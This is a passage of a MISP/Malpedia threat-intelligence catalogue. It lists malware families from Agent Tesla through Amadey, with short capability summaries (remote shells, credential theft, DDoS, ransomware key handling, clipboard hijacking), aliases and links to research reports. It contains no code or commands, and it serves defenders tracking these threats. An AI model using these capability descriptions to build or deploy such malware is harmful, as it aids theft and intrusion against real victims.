https://isc.sans.edu/diary/Infostealer+Malware+with+Double+Extension/29354

https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla

https://osamaellahi.medium.com/unfolding-agent-tesla-the-art-of-credentials-harvesting-f1a988cfd137

https://research.checkpoint.com/2024/agent-tesla-targeting-united-states-and-australia/

https://medium.com/@mariohenkel/decrypting-agenttesla-strings-and-config-b9000b18c996?sk=fcead9538516eeb3daa7b53cb537f6f4

https://threatresearch.ext.hp.com/aggah-campaigns-latest-tactics-victimology-powerpoint-dropper-and-cryptocurrency-stealer/

https://blog.minerva-labs.com/preventing-agenttesla

https://github.com/echocti/ECHO-Reports/blob/main/Malware%20Analysis%20Report/Agent%20Tesla/Agent%20Tesla%20Technical%20Analysis%20Report.pdf

https://www.logpoint.com/wp-content/uploads/2024/03/logpoint-etpr-a-comprehensive-overview-on-stealer-malware-families.pdf

https://unit42.paloaltonetworks.com/originlogger/

https://www.bitsight.com/blog/data-insights-agenttesla-and-originlogger-victims

https://securityintelligence.com/posts/roboski-global-recovery-automation/

https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns

https://youtu.be/QQuRp7Qiuzg

https://cert.gov.ua/article/861292

https://community.riskiq.com/article/40000d46

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware

https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/

https://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr

https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/

https://menshaway.blogspot.com/2021/04/agenttesla-malware.html

https://twitter.com/MsftSecIntel/status/1392219299696152578

https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/

https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/

https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/

https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry

https://community.riskiq.com/article/56e28880

https://blog.malwarebytes.com/cybercrime/2020/04/new-agenttesla-variant-steals-wifi-credentials/

https://team-cymru.com/blog/2022/07/12/an-analysis-of-infrastructure-linked-to-the-hagga-threat-actor

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

https://www.logpoint.com/en/blog/agentteslas-capabilities-review-detection-strategies/

https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/

https://logpoint.com/hubfs/blog_assets/logpoint-etpr-a-comprehensive-overview-on-stealer-malware-families-1.pdf?hsLang=en

https://www.youtube.com/watch?v=Q9_1xNbVQPY

https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162/

http://blog.nsfocus.net/sweed-611/

https://www.denexus.io/wp-content/uploads/2021/02/Threat-actor-targeting-gas-oil-supply-chains_public.pdf

https://blog.morphisec.com/agent-tesla-a-day-in-a-life-of-ir

https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/

https://isc.sans.edu/diary/28202

https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/

https://forensicitguy.github.io/agenttesla-vba-certutil-download/

https://www.broadcom.com/support/security-center/protection-bulletin/multi-stage-in-memory-agent-tesla-campaign-targets-latam

https://www.telsy.com/download/4832/

https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/

https://blogs.juniper.net/en-us/security/aggah-malware-campaign-expands-to-zendesk-and-github-to-host-its-malware

https://idanmalihi.com/dissecting-agent-tesla-unveiling-threat-vectors-and-defense-mechanisms/

https://research.openanalysis.net/dotnet/xorstringsnet/agenttesla/2023/04/16/xorstringsnet.html

https://www.proofpoint.com/us/blog/threat-insight/dtpacker-net-packer-curious-password-1

https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/

https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf

https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf

https://www.telsy.com/wp-content/uploads/ATR_82599-1.pdf

https://blog.netlab.360.com/purecrypter

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?

https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html

https://yoroi.company/research/serverless-infostealer-delivered-in-est-european-countries/

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout

https://cofense.com/strategic-analysis-agent-tesla-expands-targeting-and-networking-capabilities/

https://us-cert.cisa.gov/ncas/alerts/aa20-345a

https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://inquest.net/blog/2021/11/02/adults-only-malware-lures

https://www.splunk.com/en_us/blog/security/inside-the-mind-of-a-rat-agent-tesla-detection-and-analysis.html

https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/

https://securityintelligence.com/x-force/spam-trends-campaigns-senior-superlatives-2023/

https://ryan-weil.github.io/posts/AGENT-TESLA-2/

https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/

https://securelist.com/agent-tesla-malicious-spam-campaign/107478/

https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware

https://www.zscaler.com/blogs/research/agent-tesla-keylogger-delivered-using-cybersquatting

https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine

https://www.lac.co.jp/lacwatch/report/20220307_002893.html

http://www.secureworks.com/research/threat-profiles/gold-galleon

https://youtu.be/hxaeWyK8gMI

https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/

https://stairwell.com/resources/proactive-response-anydesk-any-breach/

https://unit42.paloaltonetworks.com/excel-add-ins-malicious-xll-files-agent-tesla/

https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya

https://malwr-analysis.com/2020/04/05/trojan-agent-tesla-malware-analysis/

https://lab52.io/blog/a-twisted-malware-infection-chain/

https://www.secureworks.com/research/darktortilla-malware-analysis

https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols

https://news.sophos.com/en-us/2020/05/14/raticate/

https://blog.qualys.com/vulnerabilities-threat-research/2022/02/02/catching-the-rat-called-agent-tesla

https://isc.sans.edu/diary/27088

https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/

https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-1/

https://www.ciphertechsolutions.com/roboski-global-recovery-automation/

https://www.hornetsecurity.com/en/threat-research/vba-purging-malspam-campaigns/

https://cyber-forensics.blog/2024/05/06/formbook-analysis/

https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf

https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/

https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-2/

https://asec.ahnlab.com/ko/29133/

https://www.infinitumit.com.tr/agent-tesla-malware-raporu/

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader

https://guillaumeorlando.github.io/GorgonInfectionchain

https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/

https://blog.cluster25.duskrise.com/2023/10/12/cve-2023-38831-russian-attack

https://malgamy.github.io/malware-analysis/Deep-Analysis-Agent-Tesla/

https://blogs.blackberry.com/en/2021/06/threat-thursday-agent-tesla-infostealer-malware

https://isc.sans.edu/diary/rss/28190
https://medium.com/@b.magnezi/malware-analysis-agenttesla-2af3d73a7825
https://www.cisecurity.org/insights/blog/top-10-malware-march-2022
https://malwatch.github.io/posts/agent-tesla-malware-analysis/
https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/
https://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/
https://unit42.paloaltonetworks.com/malicious-compiled-html-help-file-agent-tesla/
https://www.netskope.com/blog/infected-powerpoint-files-using-cloud-services-to-deliver-multiple-malware
https://forensicitguy.github.io/a-tale-of-two-dropper-scripts/
https://viuleeenz.github.io/posts/2023/08/agent-tesla-building-an-effective-decryptor/
https://blog.talosintelligence.com/ipfs-abuse/
https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update
https://blog.malwarebytes.com/threat-intelligence/2022/05/nigerian-tesla-419-scammer-gone-malware-distributor-unmasked/
https://blog.malwarelab.pl/posts/basfu_aggah/
https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html
https://www.bitsight.com/blog/exfiltration-over-telegram-bots-skidding-infostealer-logs
https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/
https://www.secureworks.com/research/threat-profiles/gold-galleon
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/another-archive-format-smuggling-malware/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://youtu.be/7AifHTCldZI
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://www.inde.nz/blog/inside-agenttesla
https://community.riskiq.com/article/6337984e
https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/
https://isc.sans.edu/diary/27666
https://www.fortinet.com/blog/threat-research/phishing-malware-hijacks-bitcoin-addresses-delivers-new-agent-tesla-variant
https://isc.sans.edu/diary/rss/27092
https://guillaumeorlando.github.io/AgentTesla

https://malwarebookreports.com/agent-teslaggah/

AgfSpy

The agfSpy backdoor retrieves configuration and commands from its C&C server. These commands allow the backdoor to execute shell commands and send the execution results back to the server. It also enumerates directories and can list, upload, download, and execute files, among other functions. The capabilities of agfSpy are very similar to dneSpy, except each backdoor uses a different C&C server and various formats in message exchanges.

The tag is: *misp-galaxy:malpedia="AgfSpy"*

AgfSpy is also known as:

Table 3144. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.agfspy
https://www.trendmicro.com/en_us/research/20/j/operation-earth-kitsune-a-dance-of-two-new-backdoors.html

Ahtapot

The tag is: *misp-galaxy:malpedia="Ahtapot"*

Ahtapot is also known as:

Table 3145. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ahtapot
https://www.sentinelone.com/wp-content/uploads/2021/09/SentinelOne_-SentinelLabs_EGoManiac_WP_V4.pdf

AkdoorTea

AkdoorTea is a simple TCP RAT.

In August 2025, it was contained in a trojanized Nvidia CUDA toolkit package, delivered probably via the ClickFix technique. The package also contained an obfuscated BeaverTail payload, which suggests its attribution to the Contagious Interview campaigns.

AkdoorTea uses Base64 encryption combined with a single-byte XOR key for network traffic obfuscation.

The RAT supports five commands, one of which is to report its internal version, which is "01.01".

Its name was inspired by the similarity to a TCP RAT, referred to as "Akdoor", that was used in

attacks leveraging ActiveX exploits against South Korean targets in April 2018.

The tag is: *misp-galaxy:malpedia="AkdoorTea"*

AkdoorTea is also known as:

Table 3146. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.akdoortea
https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-from-primitive-crypto-theft-to-sophisticated-ai-based-deception/
https://www.virusbulletin.com/uploads/pdf/conference/vb2025/papers/DeceptiveDevelopment-and-North-Korean-IT-workers-from-primitive-crypto-theft-to-sophisticated-AI-based-deception.pdf

Akira (Windows)

The tag is: *misp-galaxy:malpedia="Akira (Windows)"*

Akira (Windows) is also known as:

- REDBIKE

Table 3147. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.akira
https://cybercx.com.au/blog/akira-ransomware/
https://securelist.com/crimeware-report-fakesg-akira-amos/111483/
https://stairwell.com/resources/akira-pulling-on-the-chains-of-ransomware/
https://www.intrinsec.com/akira_ransomware/
https://twitter.com/MalGamy12/status/1651972583615602694
https://databreaches.net/2025/05/05/negotiations-with-the-akira-ransomware-group-an-ill-advised-approach/
https://www.microsoft.com/en-us/security/blog/2023/10/11/automatic-disruption-of-human-operated-attacks-through-containment-of-compromised-user-accounts/
https://services.google.com/fh/files/misc/m-trends-2025-en.pdf
https://decoded.avast.io/threatresearch/decrypted-akira-ransomware/
https://news.sophos.com/en-us/2023/12/20/cryptoguard-an-asymmetric-approach-to-the-ransomware-battle/
https://www.linkedin.com/posts/threatmon_akira-ransomware-group-ugcPost-7277859919427440640-M6lZ?utm_source=share&utm_medium=member_desktop&rcm=ACoAACirI1gB2hCH3I_dvQp0NmW-JckJIkZK9NE

https://zensec.co.uk/blog/unmasking-akira-the-ransomware-tactics-you-cant-afford-to-ignore/
https://www.s-rminform.com/cyber-intelligence-briefing/uncovering-akira-privilege-escalation-techniques
https://blog.sekoia.io/sekoia-io-mid-2023-ransomware-threat-landscape
https://www.trellix.com/en-us/about/newsroom/stories/research/akira-ransomware.html
https://news.sophos.com/en-us/2023/05/09/akira-ransomware-is-bringin-88-back/
https://www.trellix.com/about/newsroom/stories/research/akira-ransomware/
https://www.security-chu.com/2025/05/entidades-negociando-con-el-grupo-akira-ransomware.html
https://arcticwolf.com/resources/blog/smash-and-grab-aggressive-akira-campaign-targets-sonicwall-vpns/
https://www.loginsoft.com/post/akira-ransomware-the-evolution-of-a-major-threat
https://www.bankinfosecurity.com/blogs/akira-ransomware-apparently-in-decline-but-still-threat-p-3480
https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira/
https://arcticwolf.com/resources/blog/arctic-wolf-labs-observes-increased-fog-and-akira-ransomware-activity-linked-to-sonicwall-ssl-vpn/
https://github.com/vc0RExor/Malware-Threat-Reports/blob/main/Ransomware/Akira/Akira-The_old_new_style_crime_EN_Aaron_Jornet.pdf
https://arcticwolf.com/resources/blog/follow-on-extortion-campaign-targeting-victims-of-akira-and-royal-ransomware/
https://www.huntress.com/blog/dangers-of-storing-unencrypted-passwords
https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/

Albaniiutas

The tag is: *misp-galaxy:malpedia="Albaniiutas"*

Albaniiutas is also known as:

- BlueTraveller

Table 3148. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.albaniiutas
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia
https://insight-jp.nttsecurity.com/post/102gkfp/pandas-new-arsenal-part-2-albaniiutas

https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/?utm_source=rss&utm_medium=rss&utm_campaign=apt-group-targeting-governmental-agencies-in-east-asia
https://www.group-ib.com/blog/task/
https://blog.group-ib.com/task

Aldibot

According to Trend Micro Encyclopia: ALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.

This malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.

This bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.

This malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine's hardware identification (HWID), host name, local IP address, and OS version.

This backdoor executes commands from a remote malicious user, effectively compromising the affected system.

The tag is: *misp-galaxy:malpedia="Aldibot"*

Aldibot is also known as:

Table 3149. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aldibot
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/aldibot

Alfonso Stealer

The tag is: *misp-galaxy:malpedia="Alfonso Stealer"*

Alfonso Stealer is also known as:

Table 3150. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alfonso_stealer

https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware
https://twitter.com/3xp0rtblog/status/1344352253294104576

Project Alice

The tag is: *misp-galaxy:malpedia="Project Alice"*

Project Alice is also known as:

- AliceATM
- PrAlice

Table 3151. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm
https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html
https://www.symantec.com/security-center/writeup/2016-122104-0203-99
http://blog.trendmicro.com/trendlabs-security-intelligence/alice-lightweight-compact-no-nonsense-atm-malware/
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf

Alina POS

The tag is: *misp-galaxy:malpedia="Alina POS"*

Alina POS is also known as:

- alina_eagle
- alina_spark
- katrina

Table 3152. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alina_pos
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina—Following-The-Shadow-Part-1/
https://blog.trendmicro.com/trendlabs-security-intelligence/two-new-pos-malware-affecting-us-smbs/
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/
https://blog.centurylink.com/alina-point-of-sale-malware-still-lurking-in-dns/

https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina—Casting-a-Shadow-on-POS/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware—sparks—off-a-new-variant/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina—Following-The-Shadow-Part-2/
http://www.xylibox.com/2013/02/alina-34-pos-malware.html

AllaKore

AllaKore is a simple Remote Access Tool written in Delphi, first observed in 2015 but still in early stages of development. It implements the RFB protocol which uses frame buffers and thus is able to send back only the changes of screen frames to the controller, speeding up the transport and visualization control.

The tag is: *misp-galaxy:malpedia="AllaKore"*

AllaKore is also known as:

Table 3153. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.allakore
https://www.seqrite.com/blog/sidecopys-multi-platform-onslaught-leveraging-winrar-zero-day-and-linux-variant-of-ares-rat/
https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf
https://www.team-cymru.com/post/allakore-d-the-sidecopy-train
https://harfanglab.io/insidethelab/allasenha-allakore-variant-azure-c2-steal-banking-latin-america/
https://threatmon.io/the-anatomy-of-a-sidecopy-attack-from-rar-exploits-to-allakore-rat/
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt
https://github.com/Anderson-D/AllaKore
https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf
https://sebdraven.medium.com/copy-cat-of-apt-sidewinder-1893059ca68d
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479
https://www.seqrite.com/blog/pakistani-apts-escalate-attacks-on-indian-gov-seqrite-labs-unveils-threats-and-connections/
https://twitter.com/_re_fox/status/1212070711206064131

https://arcticwolf.com/resources/blog/greedy-sponge-targets-mexico-with-allakore-rat-and-systembc/
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://www.seqrite.com/blog/umbrella-of-pakistani-threats-converging-tactics-of-cyber-operations-targeting-india/
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388
https://blog.talosintelligence.com/2021/07/sidecopy.html

Allaple

The tag is: *misp-galaxy:malpedia="Allaple"*

Allaple is also known as:

- Starman

Table 3154. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.allaple
https://researchcenter.paloaltonetworks.com/2014/08/hunting-mutex/
https://trapx.com/wp-content/uploads/2017/08/White_Paper_TrapX_AllapleWorm.pdf

AllaSenha

According to HarfangLabs, AllaSenha is specifically aimed at stealing credentials that are required to access Brazilian bank accounts, leverages Azure cloud as command and control (C2) infrastructure, and is another custom variant of AllaKore, an infamous open-source RAT which is frequently leveraged to target users in Latin America.

The tag is: *misp-galaxy:malpedia="AllaSenha"*

AllaSenha is also known as:

Table 3155. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.allasenha
https://harfanglab.io/insidethelab/allasenha-allakore-variant-azure-c2-steal-banking-latin-america/

AllcomeClipper

Allcome is classified as a clipper malware. Clippers are threats designed to access information saved in the clipboard (the temporary buffer space where copied data is stored) and substitute it with another. This attack is targeted at users who are active in the cryptocurrency sector mainly.

The tag is: *misp-galaxy:malpedia="AllcomeClipper"*

AllcomeClipper is also known as:

Table 3156. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.allcomeclipper
https://www.gdatasoftware.com/blog/2022/02/37239-allcome-clipbanker-is-a-newcomer-in-malware-underground-forums
https://bazaar.abuse.ch/browse/signature/AllcomeClipper/

Almanahe

The tag is: *misp-galaxy:malpedia="Almanahe"*

Almanahe is also known as:

Table 3157. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.almanahe
https://www.elastic.co/de/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Alma Communicator

The tag is: *misp-galaxy:malpedia="Alma Communicator"*

Alma Communicator is also known as:

Table 3158. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_communicator
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/
https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/

AlmaLocker

The tag is: *misp-galaxy:malpedia="AlmaLocker"*

AlmaLocker is also known as:

Table 3159. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_locker

AlmondRAT (Windows)

AlmondRAT is a .NET Remote Access Trojan deployed by the Bitter APT group. It is capable of collecting system information, modifying and exfiltrating data and allows for remote command execution.

The tag is: *misp-galaxy:malpedia="AlmondRAT (Windows)"*

AlmondRAT (Windows) is also known as:

Table 3160. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.almondrat
https://www.threatray.com/blog/the-bitter-end-unraveling-eight-years-of-espionage-antics-part-two
https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/

ALPC Local PrivEsc

The tag is: *misp-galaxy:malpedia="ALPC Local PrivEsc"*

ALPC Local PrivEsc is also known as:

Table 3161. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe
https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/

Alphabet Ransomware

The Alphabet ransomware is a new screenlocker that is currently being developed by a criminal developer. As the malware is not ready it does not affect any user files.

The virus includes a screenlocking function which locks the user's screen and prohibits any

interaction with the computer.

The tag is: *misp-galaxy:malpedia="Alphabet Ransomware"*

Alphabet Ransomware is also known as:

Table 3162. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphabet_ransomware
https://twitter.com/JaromirHorejsi/status/813714602466877440

AlphaLocker

A new form of ransomware named AlphaLocker that is built by cybercriminals for cybercriminals. Like all incarnations of Ransomware As A Service (RaaS), the AlphaLocker malware program can be purchased and launched by pretty much anyone who wants to get into the ransomware business. What makes AlphaLocker different from other forms of RaaS is its relatively cheap cost. The ransomware can be purchased for just $65 in bitcoin.

AlphaLocker, also known as Alpha Ransomware, is based on the EDA2 ransomware, an educational project open-sourced on GitHub last year by Turkish researcher Utku Sen. A Russian coder seems to have cloned this repository before it was taken down and used it to create his ransomware, a near-perfect clone of EDA2. The ransomware's author, is said to be paying a great deal of attention to updating the ransomware with new features, so it would always stay ahead of antivirus engines, and evade detection.

AlphaLocker's encryption process starts when the ransomware contacts its C&C server. The server generates a public and a private key via the RSA-2048 algorithm, sending the public key to the user's computer and saving the private key to its server. On the infected computer, the ransomware generates an AES-256 key for each file it encrypts, and then encrypts this key with the public RSA key, and sent to the C&C server.

To decrypt their files, users have to get ahold of the private RSA key which can decrypt the AES-encrypted files found on their computers. Users have to pay around 0.35 Bitcoin (~$450) to get this key, packaged within a nice decrypter.

The tag is: *misp-galaxy:malpedia="AlphaLocker"*

AlphaLocker is also known as:

Table 3163. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphalocker
https://blog.cylance.com/an-introduction-to-alphalocker
https://web.archive.org/web/20200505071300/https://threatvector.cylance.com/en_us/home/an-introduction-to-alphalocker.html

AlphaNC

The tag is: *misp-galaxy:malpedia="AlphaNC"*

AlphaNC is also known as:

Table 3164. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group
https://www.secureworks.com/research/threat-profiles/nickel-gladstone

AlphaSeed

The tag is: *misp-galaxy:malpedia="AlphaSeed"*

AlphaSeed is also known as:

Table 3165. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphaseed
https://medium.com/s2wblog/detailed-analysis-of-alphaseed-a-new-version-of-kimsukys-appleseed-written-in-golang-2c885cce352a
https://asec.ahnlab.com/en/60054/
https://medium.com/s2wblog/kimsuky-disguised-as-a-korean-company-signed-with-a-valid-certificate-to-distribute-troll-stealer-cfa5d54314e2

Alreay

Alreay is a remote access trojan that uses HTTP(S) or TCP for communication with its C&C server.

It uses either RC4 or DES for encryption of its configuration, which is stored in the registry.

It sends detailed information about the victim's environment, like computer name, Windows version, system locale, and network configuration.

It supports almost 25 commands that include operations on the victim's filesystem, basic process management, file exfiltration, command line execution, and process injection of an executable downloaded from the attacker's C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers, starting with values like 0x21A8B293, 0x23FAE29C or 0x91B93485.

It comes either as an EXE or as a DLL with the internal DLL name t_client_dll.dll. It may contain statically linked code from open-source libraries like Mbed TLS or zLib (version 1.0.1).

Alreay RAT was observed in 2016-2017, running on networks of banks operating SWIFT Alliance software.

The tag is: *misp-galaxy:malpedia="Alreay"*

Alreay is also known as:

Table 3166. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alreay
https://securelist.com/blog/sas/77908/lazarus-under-the-hood/
https://securelist.com/lazarus-under-the-hood/77908/

Alureon

The tag is: *misp-galaxy:malpedia="Alureon"*

Alureon is also known as:

- Olmarik
- Pihar
- TDL
- TDSS
- wowlik

Table 3167. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon
http://contagiodump.blogspot.com/2011/02/tdss-tdl-4-alureon-32-bit-and-64-bit.html
https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/
http://contagiodump.blogspot.com/2010/02/list-of-aurora-hydraq-roarur-files.html
https://securelist.com/tdss/36314/
https://twitter.com/Sebdraven/status/1496878431719473155
https://www.youtube.com/watch?v=FttiysUZmDw
https://archive.f-secure.com/weblog/archives/The_Case_ofTDL3.pdf
https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/
http://contagiodump.blogspot.com/2012/02/purple-haze-bootkit.html
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj64_wowlik.vt

Amadey

Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.

The tag is: *misp-galaxy:malpedia="Amadey"*

Amadey is also known as:

Table 3168. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
https://github.com/LambdaMamba/LenaMalwareAnalysis/tree/main/Amadey
https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/Amadey/amadey_string_decryptor.py
https://embee-research.ghost.io/amadey-bot-infrastructure/
https://embee-research.ghost.io/redline-stealer-basic-static-analysis-and-c2-extraction/
https://asec.ahnlab.com/en/44504/
https://asec.ahnlab.com/en/40483/
https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html
https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-strings-in-amadey-1-09/
https://embeeresearch.io/redline-stealer-basic-static-analysis-and-c2-extraction/
https://nao-sec.org/2019/04/Analyzing-amadey.html
https://www.vmray.com/cyber-security-blog/amadey-new-encoding-with-old-tricks/
https://any.run/cybersecurity-blog/crackedcantil-breakdown/
https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey
https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/
https://asec.ahnlab.com/en/59590/
https://asec.ahnlab.com/en/36634/
https://embee-research.ghost.io/combining-pivot-points-to-identify-malware-infrastructure-redline-smokeloader-and-cobalt-strike/
https://blog.cyble.com/2023/01/25/the-rise-of-amadey-bot-a-growing-concern-for-internet-security/
https://www.anquanke.com/post/id/230116

https://www.splunk.com/en_us/blog/security/amadey-threat-analysis-and-detections.html

https://asec.ahnlab.com/en/41450/

